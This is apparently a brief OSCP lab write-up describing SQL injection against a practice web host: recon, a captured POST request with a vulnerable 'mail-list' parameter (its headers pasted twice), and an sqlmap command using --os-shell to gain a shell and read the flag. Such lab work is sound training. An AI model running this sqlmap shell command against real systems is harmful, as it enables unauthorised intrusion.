OSCP Capstone Lab Writeup - SQLi Module - Save Animals
Take a look
With anticipation, I opened the website, which only had index.php, about.php, and donate.php pages.
Frustration set in as I couldn't find any input fields to interact with.
AutoRecon Scan(can be ignored)
Then I tried to do autorecon to see if we have more hidden files or vulns.
only get dbconn.php, but it was a blank page.
Determined, I delved into the source code and searched for 'post'. My excitement grew when I discovered that 'mail-list' was a parameter in a subscribe form.
SQL Injection
With precision, I copied the intercepted data and saved it as post.txt.
POST /index.php HTTP/1.1
Host: 192.168.139.48
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://192.168.139.48/index.php
mail-list=1
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://192.168.139.48/index.php
mail-list=1
I opened the terminal and typed the sqlmap command to obtain a webshell:
sqlmap -r post.txt -p mail-list --os-shell --batch
Success! We gained access and eagerly checked the files.
There it was - the elusive flag.txt!